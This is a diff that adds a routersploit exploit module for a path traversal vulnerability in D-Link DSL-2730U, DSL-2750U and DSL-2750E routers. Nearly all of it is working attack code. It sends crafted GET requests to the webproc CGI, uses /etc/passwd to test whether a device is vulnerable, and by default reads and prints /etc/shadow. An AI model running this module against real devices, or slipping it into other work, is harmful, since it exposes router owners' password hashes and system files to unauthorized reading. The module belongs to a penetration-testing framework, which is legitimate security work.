D-Link DSL-2730U, DSL-2750U, DSL-2750E Path Traversal exploit

routersploit/modules/exploits/dlink/dsl_2730_2750_path_traversal.py

+from routersploit import (
+    exploits,
+    print_success,
+    print_error,
+    http_request,
+    mute,
+    validators,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for D-Link DSL-2730U/2750U/2750E Path Traversal vulnerability.
+    If the target is vulnerable, content of the specified file is returned.
+    """
+    __info__ = {
+        'name': 'D-Link DSL-2730U/2750U/2750E Path Traversal',
+        'description': 'Module exploits D-Link DSL-2730U/2750U/2750E Path Traversal vulnerability which allows to read any file on the system.',
+        'authors': [
+            'Todor Donev <todor.donev at gmail.com>',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://www.exploit-db.com/exploits/40735/',
+        ],
+        'devices': [
+            'D-Link DSL-2730U',
+            'D-Link DSL-2750U',
+            'D-Link DSL-2750E'
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
+    port = exploits.Option(80, 'Target Port')
+    filename = exploits.Option('/etc/shadow', 'File to read')
+
+    def run(self):
+        if self.check():
+            url = "{}:{}/cgi-bin/webproc?getpage={}&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:page=wizard".format(self.target, self.port, self.filename)
+
+            response = http_request(method="GET", url=url)
+            if response is None:
+                return
+
+            if response.status_code == 200 and len(response.text):
+                print_success("Success! File: %s" % self.filename)
+                print response.text
+            else:
+                print_error("Exploit failed")
+        else:
+            print_error("Device seems to be not vulnerable")
+
+    @mute
+    def check(self):
+        url = "{}:{}/cgi-bin/webproc?getpage=/etc/passwd&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:page=wizard".format(self.target, self.port)
+
+        response = http_request(method="GET", url=url)
+        if response is None:
+            return False  # target is not vulnerable
+
+        if "root:" in response.text:
+            return True  # target vulnerable
+
+        return False  # target is not vulnerable